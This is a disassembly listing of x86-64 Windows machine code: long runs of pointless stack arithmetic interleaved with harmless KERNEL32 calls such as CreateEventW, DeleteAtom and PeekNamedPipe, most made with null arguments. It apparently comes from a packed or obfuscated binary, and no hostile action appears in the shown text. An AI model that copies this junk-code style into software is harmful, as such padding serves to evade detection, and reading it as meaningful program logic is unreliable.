movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc6c], ax
mov rax, qword [rsp + 0x4ab8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xbb0]
add eax, ecx
mov rcx, qword [0x14018bf00]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x4d70], rax
lea rax, [rsp + 0x37e8]
mov qword [rsp + 0x4d78], rax
movzx eax, word [rsp + 0xcd0]
mov rcx, qword [rsp + 0x4b30]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4b78]
mov word [rcx], ax
lea rax, [rsp + 0xd40]
mov qword [rsp + 0x4d80], rax
mov rax, qword [rsp + 0x49c0]
mov rcx, qword [rsp + 0x3fb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x42d8], rax
lea rax, [rsp + 0x1b28]
mov qword [rsp + 0x4d88], rax
mov rax, qword [rsp + 0x4ce0]
mov rcx, qword [0x14018be10]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x4438]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x1bd]
mov rcx, qword [rsp + 0x4940]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x43b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x40d8]
movzx eax, word [rax]
mov word [rsp + 0xd58], ax
lea rax, [rsp + 0x4550]
mov qword [0x14018c068], rax
movzx eax, byte [0x14018acda]
mov rcx, qword [rsp + 0x4010]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4868]
mov byte [rcx], al
lea rax, [rsp + 0x1e80]
mov qword [rsp + 0x4d90], rax
movsx eax, word [rsp + 0xd0c]
movsx ecx, word [rsp + 0xb58]
add eax, ecx
mov word [rsp + 0xd2c], ax
mov rax, qword [rsp + 0x3cc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcfc]
sub eax, ecx
mov rcx, qword [rsp + 0x4920]
mov word [rcx], ax
mov rax, qword [rsp + 0x3670]
mov rcx, qword [rsp + 0x3d08]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2c50], rax
movsx eax, byte [rsp + 0x152]
movsx ecx, byte [0x14018bdc7]
sar eax, cl
mov byte [rsp + 0x175], al
mov rax, qword [rsp + 0x3a38]
mov eax, dword [rax]
mov dword [rsp + 0x20a0], eax
mov rax, qword [rsp + 0x4bb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc98]
sub eax, ecx
mov word [rsp + 0xc5c], ax
movzx eax, word [0x14018bee8]
mov word [0x14018c070], ax
mov rax, qword [rsp + 0x49d0]
mov rcx, qword [rsp + 0x48b8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3098], rax
mov rax, qword [rsp + 0x4928]
mov rcx, qword [rsp + 0x4740]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3900], rax
mov rax, qword [rsp + 0x4130]
mov rax, qword [rax]
mov rcx, qword [0x14018ad28]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4508]
mov qword [rcx], rax
lea rax, [rsp + 0xcbc]
mov qword [rsp + 0x4d98], rax
mov rax, qword [rsp + 0x45b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x43b8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x44b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4930]
mov rax, qword [rax]
mov rcx, qword [0x14018bfc8]
mov qword [rsp + 0x4da0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4da0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x3640], rax
mov eax, dword [rsp + 0x1fd8]
mov dword [rsp + 0x20a4], eax
mov eax, dword [rsp + 0x1de0]
mov ecx, dword [rsp + 0x1f10]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3e20]
mov dword [rcx], eax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x4da8], rax
mov rax, qword [rsp + 0x4a60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4430]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x14018c010]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x1fb0], eax
mov rax, qword [rsp + 0x4ad8]
movzx eax, word [rax]
mov rcx, qword [0x14018be18]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x864], ax
lea rax, [rsp + 0xd48]
mov qword [rsp + 0x4db0], rax
mov edx, 0x26b1
mov rcx, qword [rsp + 0x3b10]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x2090], eax
mov rax, qword [rsp + 0x3b78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2b60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x42d8], rax
mov rax, qword [rsp + 0x4b60]
mov rcx, qword [rsp + 0x2b88]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4440], rax
movzx eax, byte [rsp + 0x1bc]
mov byte [rsp + 0x1c0], al
mov rax, qword [rsp + 0x42f8]
mov rcx, qword [rsp + 0x4570]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2040], eax
movsx eax, word [rsp + 0x3b8]
mov rcx, qword [rsp + 0x43c0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x768], ax
movzx eax, word [rsp + 0xcc4]
movzx ecx, word [rsp + 0xc78]
and eax, ecx
mov rcx, qword [rsp + 0x4bd0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4770]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x33f8]
sub rcx, rax
mov rax, rcx
mov qword [0x14018ace8], rax
movzx eax, word [rsp + 0xccc]
mov rcx, qword [rsp + 0x3fd0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xab4], ax
lea rax, [rsp + 0x44d8]
mov qword [rsp + 0x4db8], rax
mov rax, qword [rsp + 0x4698]
mov rcx, qword [0x14018bfb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4958]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1c3c]
mov dword [rsp + 0x20a8], eax
movsx eax, byte [rsp + 0x1b9]
mov rcx, qword [rsp + 0x4388]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4290]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1ba]
mov rcx, qword [rsp + 0x4a80]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x80], al
mov rax, qword [rsp + 0x4038]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1e80]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1c40], eax
mov rax, qword [rsp + 0x45d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4390]
mov qword [rsp + 0x4dc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4dc0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x3f60]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ca0]
movzx eax, word [rax]
mov word [0x14018c074], ax
lea rax, [rsp + 0x3b8]
mov qword [rsp + 0x4dc8], rax
movzx eax, word [rsp + 0xbdc]
movzx ecx, word [rsp + 0xcd0]
or eax, ecx
mov rcx, qword [rsp + 0x4d60]
mov word [rcx], ax
mov rax, qword [rsp + 0x4c90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x618]
xor eax, ecx
mov word [rsp + 0x3d8], ax
mov rax, qword [rsp + 0x4c00]
mov rax, qword [rax]
mov qword [rsp + 0x4dd0], rax
mov rax, qword [rsp + 0x4838]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1f7c]
shr eax, cl
mov rcx, qword [rsp + 0x44d0]
mov dword [rcx], eax
lea rax, [0x14018bdc6]
mov qword [rsp + 0x4dd8], rax
mov rax, qword [rsp + 0x3f38]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x44c8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd38], ax
mov rax, qword [rsp + 0x45c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcf8]
sub eax, ecx
mov word [rsp + 0x9dc], ax
mov rax, qword [rsp + 0x2fc0]
mov rcx, qword [0x14018be90]
add rcx, rax
mov rax, rcx
mov qword [0x14018ace0], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x4de0], rax
mov rax, qword [rsp + 0x40b0]
mov rcx, qword [rsp + 0x3fb8]
mov qword [rsp + 0x4de8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4de8]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x4c38]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4508]
mov rcx, qword [rsp + 0x48b8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4508]
mov qword [rcx], rax
lea rax, [rsp + 0x3320]
mov qword [rsp + 0x4df0], rax
mov rax, qword [rsp + 0x4470]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4b18]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x43e8]
mov word [rcx], ax
lea rax, [rsp + 0x1f10]
mov qword [rsp + 0x4df8], rax
mov rax, qword [rsp + 0x4a20]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4458]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1b3], al
mov rax, qword [rsp + 0x4338]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x175]
add eax, ecx
mov rcx, qword [rsp + 0x4140]
mov byte [rcx], al
mov rax, qword [rsp + 0x2d08]
mov qword [rsp + 0x4e00], rax
movzx ecx, word [rsp + 0xc74]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xd50], ax
mov eax, dword [rsp + 0x20a8]
mov ecx, dword [0x14018ad0c]
and ecx, eax
mov eax, ecx
mov dword [0x14018ad34], eax
mov rax, qword [rsp + 0x3f38]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3b70]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4970]
mov word [rcx], ax
lea rax, [0x14018be7c]
mov qword [rsp + 0x4e08], rax
movzx eax, word [rsp + 0xca4]
movzx ecx, word [rsp + 0x3b4]
shl eax, cl
mov rcx, qword [rsp + 0x4778]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2f10]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3f50]
mov qword [rcx], rax
lea rax, [0x14018bdc7]
mov qword [rsp + 0x4e10], rax
mov rax, qword [rsp + 0x4628]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4c00]
mov qword [rsp + 0x4e18], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4e18]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x3ed8]
mov qword [rcx], rax
lea rax, [rsp + 0x2048]
mov qword [rsp + 0x4e20], rax
movsx eax, word [rsp + 0xc6c]
mov rcx, qword [rsp + 0x4710]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xce8], ax
lea rax, [rsp + 0x39c]
mov qword [0x14018c078], rax
mov rcx, qword [rsp + 0x4660]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x3320]
mov qword [rsp + 0x4e28], rax
mov rax, qword [rsp + 0x4320]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4578]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xcfc], ax
movzx eax, byte [0x14018acda]
movzx ecx, byte [rsp + 0x1bf]
and eax, ecx
mov rcx, qword [rsp + 0x4630]
mov byte [rcx], al
lea rax, [rsp + 0x2044]
mov qword [rsp + 0x4e30], rax
mov rax, qword [rsp + 0x4638]
movsx eax, byte [rax]
mov rcx, qword [0x14018bf10]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3c40]
mov byte [rcx], al
movzx ecx, word [rsp + 0xc8c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xd5c], ax
mov rax, qword [rsp + 0x38a0]
mov qword [rsp + 0x4e38], rax
mov rax, qword [rsp + 0x4cc0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4570]
mov qword [rsp + 0x4e40], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4e40]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x40c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4bf8]
movsx eax, word [rax]
mov rcx, qword [0x14018bdf0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd44], ax
mov rax, qword [rsp + 0x4220]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd58]
and eax, ecx
mov word [0x14018ad30], ax
mov rax, qword [rsp + 0x42d8]
movzx ecx, al
mov rax, qword [rsp + 0x3eb8]
shl rax, cl
mov qword [rsp + 0x32a0], rax
mov rax, qword [rsp + 0x44c0]
mov rcx, qword [rsp + 0x2b60]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x4a88]
mov qword [rcx], rax
lea rax, [rsp + 0x3b8]
mov qword [rsp + 0x4e48], rax
mov rax, qword [rsp + 0x4db0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4948]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xcb0], ax
mov rax, qword [0x14018bee0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3fc8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x167], al
mov eax, dword [rsp + 0x1fd8]
mov dword [rsp + 0x20ac], eax
mov rax, qword [rsp + 0x4128]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4258]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4540], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x205c], eax
lea rax, [rsp + 0x3428]
mov qword [rsp + 0x4e50], rax
movzx eax, word [rsp + 0xcbc]
mov word [0x14018c080], ax
movzx eax, word [rsp + 0xca4]
mov rcx, qword [rsp + 0x4220]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3b4], ax
mov rax, qword [rsp + 0x4ba0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4868]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1ae], al
lea rax, [rsp + 0x1de0]
mov qword [rsp + 0x4e58], rax
mov rax, qword [rsp + 0x4860]
mov rcx, qword [rsp + 0x4c38]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4610], rax
lea rax, [0x14018bdc7]
mov qword [rsp + 0x4e60], rax
mov rax, qword [rsp + 0x44f8]
mov rcx, qword [rsp + 0x47f8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c18]
mov qword [rcx], rax
mov eax, dword [rsp + 0x20a0]
mov rcx, qword [rsp + 0x3b80]
mov qword [rsp + 0x4e68], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4e68]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x1d4c], eax
mov rax, qword [rsp + 0x43c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcdc]
sub eax, ecx
mov rcx, qword [rsp + 0x4b38]
mov word [rcx], ax
mov rax, qword [rsp + 0x4500]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4818]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14018bf40]
mov word [rcx], ax
mov rax, qword [rsp + 0x33f8]
mov rcx, qword [rsp + 0x3de8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x49f0]
mov qword [rcx], rax
lea rax, [rsp + 0x39c]
mov qword [rsp + 0x4e70], rax
movsx eax, word [rsp + 0xce4]
movsx ecx, word [rsp + 0x768]
xor eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
lea rax, [0x14018be90]
mov qword [rsp + 0x4e78], rax
mov rax, qword [rsp + 0x43d0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x2b08]
shl rax, cl
mov rcx, qword [rsp + 0x3f60]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x1b8]
mov rcx, qword [rsp + 0x4758]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4238]
mov byte [rcx], al
lea rax, [0x14018ad34]
mov qword [rsp + 0x4e80], rax
movzx eax, word [rsp + 0xcd8]
mov rcx, qword [rsp + 0x4818]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4470]
mov word [rcx], ax
mov rcx, qword [rsp + 0x3b10]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov rax, qword [rsp + 0x4830]
mov rcx, qword [rsp + 0x4c78]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [0x14018c048]
mov qword [rcx], rax
lea rax, [rsp + 0xe7]
mov qword [rsp + 0x4e88], rax
mov rax, qword [rsp + 0x3e20]
mov rcx, qword [rsp + 0x41f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x47a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d48]
movsx eax, word [rax]
movsx ecx, word [0x14018c030]
and eax, ecx
mov rcx, qword [rsp + 0x4528]
mov word [rcx], ax
mov rax, qword [rsp + 0x48e8]
movzx eax, word [rax]
mov word [rsp + 0xd60], ax
mov rax, qword [rsp + 0x3c98]
mov rcx, qword [rsp + 0x4160]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x48d8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x1bb]
mov byte [rsp + 0x1c1], al
mov rax, qword [rsp + 0x4318]
mov rcx, qword [rsp + 0x3f68]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3dc8]
mov dword [rcx], eax
lea rax, [rsp + 0xcec]
mov qword [rsp + 0x4e90], rax
mov rax, qword [rsp + 0x4048]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcc8]
sar eax, cl
mov word [0x14018ad38], ax
mov rax, qword [rsp + 0x4c38]
mov rcx, qword [rsp + 0x45d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4a78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x44d8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x3718], rax
mov rax, qword [0x14018bfe8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4740]
shl rax, cl
mov qword [rsp + 0x32d0], rax
movsx eax, word [rsp + 0xd04]
movsx ecx, word [rsp + 0x3f8]
xor eax, ecx
mov word [rsp + 0xd40], ax
lea rax, [rsp + 0x2038]
mov qword [rsp + 0x4e98], rax
mov rax, qword [rsp + 0x4628]
mov rcx, qword [rsp + 0x4390]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x48d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e60]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3c40]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4340]
mov byte [rcx], al
lea rax, [rsp + 0x1fa0]
mov qword [rsp + 0x4ea0], rax
movzx eax, byte [rsp + 0x80]
movzx ecx, byte [rsp + 0x1ae]
sar eax, cl
mov byte [rsp + 0x14a], al
lea rax, [rsp + 0xc6c]
mov qword [0x14018c088], rax
lea rax, [rsp + 0xab4]
mov qword [rsp + 0x4ea8], rax
mov rax, qword [rsp + 0x41b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4978]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x558], ax
mov rax, qword [rsp + 0x3280]
mov rcx, qword [rsp + 0x45c0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4550], rax
lea rax, [rsp + 0x2d60]
mov qword [rsp + 0x4eb0], rax
movsx eax, byte [rsp + 0x152]
movsx ecx, byte [rsp + 0x1b5]
and eax, ecx
mov rcx, qword [rsp + 0x4e60]
mov byte [rcx], al
mov rax, qword [rsp + 0x47b8]
mov eax, dword [rax]
mov dword [rsp + 0x20b0], eax
movsx eax, word [rsp + 0xd40]
movsx ecx, word [rsp + 0x554]
and eax, ecx
mov rcx, qword [rsp + 0x4538]
mov word [rcx], ax
movzx eax, word [rsp + 0xd28]
movzx ecx, word [0x14018acf8]
and eax, ecx
mov rcx, qword [rsp + 0x40d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x41d8]
mov rcx, qword [rsp + 0x4068]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [0x14018ad28], rax
movzx eax, word [rsp + 0x39c]
mov rcx, qword [0x14018c038]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x7e0], ax
mov rax, qword [rsp + 0x4c10]
mov rcx, qword [rsp + 0x32a0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x3eb8], rax
lea rax, [rsp + 0x2e58]
mov qword [rsp + 0x4eb8], rax
mov eax, dword [0x14018ad0c]
movzx ecx, al
mov eax, dword [rsp + 0x209c]
shl eax, cl
mov rcx, qword [rsp + 0x4008]
mov dword [rcx], eax
lea rax, [rsp + 0x1af]
mov qword [rsp + 0x4ec0], rax
movzx eax, byte [rsp + 0x1b6]
movzx ecx, byte [rsp + 0x14a]
xor eax, ecx
mov byte [rsp + 0x1b4], al
mov eax, dword [rsp + 0x2094]
mov ecx, dword [rsp + 0x1d40]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x4488]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x20b4], eax
lea rax, [rsp + 0x46e8]
mov qword [rsp + 0x4ec8], rax
lea rax, [rsp + 0xc7c]
mov qword [0x14018c090], rax
mov rax, qword [rsp + 0x4d80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5c8]
sub eax, ecx
mov word [rsp + 0xd04], ax
lea rax, [0x14018c070]
mov qword [rsp + 0x4ed0], rax
mov rax, qword [rsp + 0x3cc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xce0]
sub eax, ecx
mov rcx, qword [rsp + 0x4098]
mov word [rcx], ax
mov rax, qword [rsp + 0x44f0]
mov rcx, qword [0x14018bfa0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2068], eax
lea rax, [rsp + 0x3d08]
mov qword [rsp + 0x4ed8], rax
movsx eax, byte [rsp + 0x1a0]
movsx ecx, byte [rsp + 0x1c0]
sar eax, cl
mov rcx, qword [rsp + 0x3e48]
mov byte [rcx], al
lea rax, [rsp + 0xd2c]
mov qword [rsp + 0x4ee0], rax
mov rax, qword [rsp + 0x3e38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4d60]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x864], ax
mov rax, qword [rsp + 0x4e50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x32a0]
add rcx, rax
mov rax, rcx
mov qword [0x14018be30], rax
mov rax, qword [rsp + 0x4860]
mov rcx, qword [0x14018ace8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4b70]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
lea rax, [rsp + 0x33f8]
mov qword [rsp + 0x4ee8], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x1f94], eax
mov rax, qword [rsp + 0x4b70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2ec0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x42c0]
mov qword [rcx], rax
movzx eax, word [rsp + 0xce0]
mov word [rsp + 0xd64], ax
mov rax, qword [rsp + 0x4c40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1c2c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4410]
mov dword [rcx], eax
mov rax, qword [rsp + 0x42c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1b3]
or eax, ecx
mov byte [rsp + 0x1b4], al
mov rax, qword [0x14018bf70]
movzx eax, byte [rax]
mov byte [rsp + 0x1c2], al
mov rax, qword [rsp + 0x3ee8]
mov rcx, qword [rsp + 0x4708]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x20b0], eax
lea rax, [rsp + 0x3670]
mov qword [0x14018c098], rax
lea rax, [rsp + 0xcc0]
mov qword [rsp + 0x4ef0], rax
movsx eax, word [rsp + 0x768]
movsx ecx, word [rsp + 0x3b8]
shl eax, cl
mov rcx, qword [rsp + 0x40f8]
mov word [rcx], ax
lea rax, [rsp + 0xc94]
mov qword [rsp + 0x4ef8], rax
lea rcx, [rsp + 0x157e8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x4610]
movzx ecx, al
mov rax, qword [rsp + 0x37e8]
sar rax, cl
mov rcx, qword [rsp + 0x4428]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e80]
mov rcx, qword [rsp + 0x4ae8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x43c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4cb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3358]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3220], rax
mov r9d, 0x21d8
xor r8d, r8d
lea rdx, [rsp + 0x3aa0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x20b8], eax
mov rax, qword [rsp + 0x45a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4b80]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4870]
mov byte [rcx], al
lea rax, [rsp + 0x3b8]
mov qword [rsp + 0x4f00], rax
mov rax, qword [rsp + 0x4788]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xca4]
and eax, ecx
mov word [0x14018bf60], ax
mov rax, qword [rsp + 0x4028]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x44a8]
mov qword [rsp + 0x4f08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4f08]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x4740], rax
mov rax, qword [rsp + 0x4b78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3dc]
sub eax, ecx
mov word [rsp + 0xd10], ax
lea rax, [rsp + 0x1ba]
mov qword [rsp + 0x4f10], rax
mov rax, qword [rsp + 0x4bc8]
mov ecx, dword [rsp + 0x202c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x48d8]
mov rax, qword [rax]
mov qword [rsp + 0x4f18], rax
mov rax, qword [rsp + 0x4e20]
mov ecx, dword [rsp + 0x2068]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2010], eax
movsx eax, byte [rsp + 0x1a0]
movsx ecx, byte [rsp + 0x69]
or eax, ecx
mov byte [rsp + 0x1bd], al
movsx eax, word [rsp + 0xcc0]
movsx ecx, word [rsp + 0x6b0]
shl eax, cl
mov word [rsp + 0xac4], ax
lea rax, [rsp + 0xd34]
mov qword [0x14018c0a0], rax
mov rax, qword [rsp + 0x3de8]
mov rcx, qword [rsp + 0x4120]
mov qword [rsp + 0x4f20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4f20]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x4ee8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4770]
mov rax, qword [rax]
mov qword [rsp + 0x4f28], rax
mov rax, qword [rsp + 0x3f18]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3f00]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4400]
mov word [rcx], ax
lea rax, [0x14018ad30]
mov qword [rsp + 0x4f30], rax
mov rax, qword [rsp + 0x4608]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1ff4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1fe4], eax
mov rax, qword [rsp + 0x3640]
mov rcx, qword [rsp + 0x38e0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c28]
mov qword [rcx], rax
lea rax, [rsp + 0x1c2]
mov qword [rsp + 0x4f38], rax
mov rax, qword [rsp + 0x4a88]
mov rcx, qword [rsp + 0x4740]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4698]
mov qword [rcx], rax
